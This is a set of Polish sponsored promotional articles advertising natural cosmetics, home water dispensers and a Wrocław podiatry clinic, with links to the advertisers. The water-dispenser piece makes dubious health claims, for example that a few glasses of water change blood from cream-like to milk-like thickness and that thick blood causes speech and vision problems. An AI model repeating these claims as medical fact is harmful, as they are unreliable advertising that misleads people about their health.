Zaletą kosmetyków naturalnych jest także ich uniwersalność. Przeglądając ofertę tego rodzaju preparatów zwykle nie znajdziemy wyraźnego podziału na te przeznaczone wyłącznie dla kobiet, mężczyzn i dzieci. Zasadniczo dany kosmetyk naturalny może być stosowany z powodzeniem przez całą rodzinę. Co więcej, w całej gamie kosmetyków na bazie naturalnej znajdziemy sporo takich, które w połączeniu z innymi, mogą mieć różne zastosowania. Przykładem może być hydrolat oczarowy, który może być stosowany samodzielnie jako tonik do skóry dojrzałej, trądzikowej, naczyniowej i pozbawionej blasku, a także jako dodatek do maseczek glinkowych i algowych. Innymi słowy, jeden kosmetyk naturalny może zastąpić lub stać się bazą dla dwóch lub trzechinnych.

Za inwestowaniem w kosmetyki naturalne przemawia także fakt, iż każdorazowy ich zakup to nasza „cegiełka” w trosce o ochronę środowiska. Rzetelny producent naturalnych kosmetyków dba o to, by proces ich produkcji w jak najwyższym stopniu był przyjazny dla naszego środowiska. Wykluczone są także testy na zwierzętach. Wybierając podczas zakupów tak wytworzony produkt, wspieramy jego producenta i pozwalamy mu się rozwijać, a co za tym idzie, chronimy naturę w myśl ekologicznego trybu życia. Popyt na tego typu preparaty sprawia, że na rynku kosmetyków naturalnych dochodzi do konkurencji, na czym korzysta sam klient, nie tylko pod względem spadku cen, ale także jakości. Warto także dodać, że sporo producentów dba także o odpowiednie, ekologiczne opakowanie dla swoich produktów np. bielenda młodzieńczy blask.

Kosmetyki naturalne znaleźć można na stronie: https://sklep.puregreen.pl/kosmetyki-naturalne/

Odpowiednie nawodnienie organizmu dzięki dystrybutorowi wody w domu

Czy zdarzyło ci się kiedyś pójść na badanie krwi i zapomnieć wcześniej wypić przynajmniej szklankę wody? Czy pamiętasz, jaki problem był z pobraniem krwi, która miała konsystencję śmietany?

W ciele człowieka znajdują się naczynia włosowate. Doprowadzają one krew do komórek w mózgu, oczu, skóry. Wraz z krwią dociera do nich tlen i składniki odżywcze. Naczynia włosowate mają średnicę mniejszą niż igła do pobierania krwi. Jeżeli krew będzie za gęsta, nie dotrze do wszystkich komórek. Źle odżywione i niedotlenione będą funkcjonowały nieprawidłowo, co może objawiać się bólami głowy, trudnością w znalezieniu właściwych słów, pogorszeniem widzenia, zła kondycją skóry. Wypicie kilku szklanek wody powoduje, że krew ma gęstość mleka i z łatwością dotrze do najcieńszych naczyń krwionośnych.

=&0=&

Dorosły człowiek powinien pić około dwóch litrów wody dziennie. Przy kilkuosobowej rodzinie jest to już znacząca wartość. Czy wystarczy pić wodę z kranu? Woda w sieci wodociągowej jest badana, gdy opuszcza stację uzdatniania wody. Wówczas spełnia wszelkie normy i zaczyna swoją wędrówkę rurami. Może wypłukiwać z nich zanieczyszczenia, a gdy stoi w instalacji w upalny dzień wzrasta w niej liczba bakterii. Ważne jest nie tylko ile, ale i czego będziemy pić.

=&1=&

Problem dostępności zdrowej wody w domu można rozwiązać na dwa sposoby. Najpopularniejszym jest dystrybutor wody w domu. Ma on postać stojaka z kranikami. Na stojaku montowana jest butla z wodą gwarantowanej jakości i przeznaczoną do bezpośredniego spożycia. Może on stać praktycznie w dowolnym miejscu. Jedynym wymaganiem jest wymiana butli.

Drugim rozwiązaniem są dystrybutory filtrujące. Potrzebują one podłączenia do sieci wodociągowej i energetycznej. Zaletą tych urządzeń jest to, że dostawa wody do domu czy biura odbywa się za pośrednictwem sieci wodociągowej. Woda nie jest magazynowana a pobierana, uzdatniana i dostępna do spożycia natychmiast po naciśnięciu przycisku. Rozwiązanie to można polecić także do firm.

=&2=&

Czysta woda może być wykorzystywana do przyrządzania smacznych i zdrowych potraw oraz przetworów. Dzięki temu, że jest pozbawiona domieszek, nie będą one reagowały ze składnikami potraw, zmieniając ich walory smakowe.

Jakość wody jest bardzo ważna w przypadku niemowląt i osób biorących leki. Woda czerpana ze studni czy wodociągu może zawierać szczątkowe ilości nawozów sztucznych spłukiwanych z deszczem z pól lub leków. Zawartość ta może być nieszkodliwa dla osoby dorosłej lub zdrowej. Niemowlęta, chorzy mogą reagować na zanieczyszczenia objawami trudnymi do zdiagnozowania.

Dystrybutor wody w domu to nie tylko wygoda, ale również zdrowie osób korzystających z niego.

Więcej o dystrybutorach wody na www.aquamo.com.pl Czytaj więcej

Dlaczego powinieneś iść do podologa we Wrocławiu?

Coś niedobrego dzieje się z Twoimi stopami, ale obawiasz się iść do specjalisty? Problem się zaognia, boli coraz bardziej, a ty wstydzisz się wyglądu schorzenia i nie chcesz nikomu go pokazać? To droga donikąd! Podolog Wrocław pomoże Ci rozwiązać problem bez oceniania i zbędnych komentarzy.

Wstyd i obawa przed kompromitacją to często powód, przez który odwlekamy wizyt u różnych specjalistów, jak stomatolog czy podolog. Wszyscy wiemy, że unikając dentysty przez kilka miesięcy, robimy sobie dużą krzywdę. To samo dzieje się w przypadku podologii.

Nie wstydź się podologa we Wrocławiu

Każdy podolog doskonale zna praktycznie wszystkie schorzenia i dolegliwości stóp, jakie mogą się pojawić. Wie, jak one wyglądają, dlatego nie będzie się dziwił nawet wtedy, kiedy bardzo długo ukrywałeś swój problem i zmiana chorobowa wygląda naprawdę źle. Podolog Wrocław ma za zadanie pomóc Ci uwolnić się od niego i właśnie tym się zajmuje. Prawdopodobnie Twoje schorzenie nie pojawiło się nawet z Twojej winy. Zatem czego tu się wstydzić?

Jak podolog leczy stopy?

Wrocław to miasto świetnych i doświadczonych podologów. Jeżeli potrzebujesz profesjonalnego rozwiązania, skorzystaj z usług Dolnośląskie Centrum Zdrowej Stopy. Jest to miejsce, które cieszy się dobrą sławą i jest przyjazne pacjentom w każdym wieku. Ich wyjątkowość opiera się jednak głównie na profesjonalnym sprzęcie oraz doświadczonej kadrze. Dobry podolog Wrocław w zanadrzu ogromną wiedzę na temat schorzeń i metod ich leczenia. Każda kuracja, zabieg i proces leczenia dostosowany jest do rodzaju schorzenia.

Kiedy iść do wrocławskiego podologa?

Każdy moment jest dobry. Niezależnie, czy jest to zima czy lato, gorąco czy zimno, na wizytę w gabinecie podologicznym zawsze jest odpowiednia pora. Dlaczego? Ponieważ czas gra na Twoją korzyść (lub niekorzyść, jeśli unikasz podologa). Im szybciej zareagujesz, tym krótsze, tańsze i bardziej skuteczne będzie leczenie.

DCZS to Podolog Wrocław, który profesjonalnie zadba o Ciebie.

Znajdziesz go na stronie: https://wroclaw-podolog.pl/. Wystarczy zrobić ten pierwszy krok i  umówić się na wizytę, aby Twoje stopy były znów piękne i zdrowe.